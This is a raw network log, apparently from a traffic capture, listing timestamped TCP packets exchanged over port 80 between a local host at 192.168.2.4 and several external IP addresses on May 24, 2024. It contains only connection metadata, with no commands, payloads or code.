May 24, 2024 13:42:04.311593056 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.311609030 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.311621904 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.311641932 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.311669111 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.312493086 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.312510014 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.312558889 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.312625885 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.313399076 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.313416004 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.313429117 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.313443899 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.313478947 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.314312935 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.314328909 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.314358950 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.314378023 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.315221071 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.315237045 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.315249920 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.315258980 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.315277100 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.315294981 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.316129923 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.316145897 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.316175938 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.316190958 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.317033052 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.317048073 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.317080021 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.317095041 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.317956924 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.317974091 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.318006039 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.318036079 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.318887949 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.318903923 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.318917036 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.318933964 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.318952084 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.318953037 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.318984032 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.319744110 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.319760084 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.319775105 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.319797993 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.319819927 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.320650101 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.320666075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.320694923 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.320715904 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.321577072 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.321593046 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.321629047 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.321644068 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.322453022 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.322470903 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.322500944 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.322530031 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.323370934 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.323388100 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.323402882 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.323436975 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.323453903 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.324345112 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.324361086 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.324376106 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.324423075 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.324528933 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.325180054 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.325196028 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.325211048 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.325233936 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.325262070 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.326106071 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.326141119 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.326160908 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.326170921 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.326204062 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.326215029 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.326630116 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.326689959 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.332655907 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.332690001 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.332720041 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.332720041 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.332741976 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.332753897 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.332767010 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.332787991 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.332809925 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.332819939 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.332853079 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.332871914 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.333240032 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.333275080 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.333306074 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.333334923 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.333610058 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.333666086 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.337762117 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.337827921 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.337935925 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.337995052 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.338752985 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.338933945 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.339008093 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.339742899 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.339818001 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.340747118 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.340780973 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.340806007 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.340835094 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.340991974 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.341048956 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.342941999 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.343450069 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.343516111 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.343671083 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.343734026 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.344495058 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.344558954 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.344619989 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.344687939 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.345383883 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.345978022 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.346012115 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.346040010 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.346071005 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.346306086 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.346369028 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.346785069 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.346818924 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.346844912 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.346874952 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.347024918 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.347081900 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.347373962 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.347433090 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.347762108 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.347819090 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.348100901 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.348156929 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.348198891 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.348264933 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.356122971 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.356156111 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.356225967 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.356380939 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.356431961 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.356599092 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.356642962 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.356964111 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.357013941 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.357312918 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.357369900 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.357670069 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.357702971 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.357736111 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.357765913 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.358027935 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.358086109 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.359113932 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.359148979 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.359208107 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.359217882 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.359297037 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.359344959 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.359698057 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.359731913 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.359744072 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.359769106 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.360057116 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.360105991 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.360429049 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.360462904 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.360479116 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.360497952 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.361134052 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.361169100 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.361185074 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.361207008 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.361839056 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.361884117 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.362221003 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.362251997 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.362267017 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.362294912 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.362536907 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.362570047 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.362586975 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.362607002 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.363205910 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.363254070 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.363580942 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.363614082 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.363631010 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.363655090 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.364384890 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.364418983 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.364434958 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.364456892 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.367132902 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.367165089 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.367187023 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.367207050 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.368386030 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.368434906 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.368530989 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.368575096 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.368824959 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.368872881 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.369138002 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.369180918 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.369477987 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.369513035 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.369522095 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.369546890 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.369549990 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.369584084 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.369596958 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.369627953 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.370299101 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.370363951 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.370594978 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.370641947 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.370927095 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.370960951 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.370975018 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.370995045 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.371000051 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.371033907 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.371814013 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.371848106 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.371865034 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.371881962 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.372459888 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.372494936 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.372508049 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.372529030 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.372534990 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.372564077 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.372570038 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.372601032 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.373264074 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.373297930 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.373308897 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.373333931 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.373873949 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.373907089 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.373929024 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.373939991 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.373972893 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.373991013 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.374731064 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.374779940 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.375070095 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.375109911 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.375113964 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.375145912 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.375174046 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.375180006 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.375196934 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.375238895 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.375941992 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.375977039 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.375998020 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.376008987 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.376028061 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.376040936 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.376051903 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.376072884 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.376094103 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.376107931 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.376816988 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.376849890 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.376864910 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.376883984 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.376884937 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.376924038 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.377782106 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.377815962 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.377830982 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.377850056 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.377855062 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.377883911 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.377883911 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.377919912 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.378563881 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.378598928 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.378616095 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.378633976 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.378638983 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.378654957 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.378669977 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.379475117 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.379508972 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.379523993 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.379544020 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.379554033 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.379578114 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.379615068 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.379615068 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.380431890 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.380465984 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.380482912 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.380500078 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.380500078 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.380583048 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.381217003 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.381251097 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.381268024 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.381285906 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.381287098 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.381347895 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.382083893 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.382132053 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.382328033 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.382360935 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.382371902 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.382394075 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.382394075 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.382427931 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.382461071 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.382487059 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.382504940 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.383291960 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.383353949 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.386132002 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.386166096 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.386200905 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.386231899 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.386262894 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.387105942 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.387139082 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.387206078 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.390059948 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.390105963 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.391923904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.392026901 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.403446913 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.403497934 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.403547049 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.403592110 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.403812885 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.403863907 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.404126883 CEST	80	49739	5.42.65.64	192.168.2.4
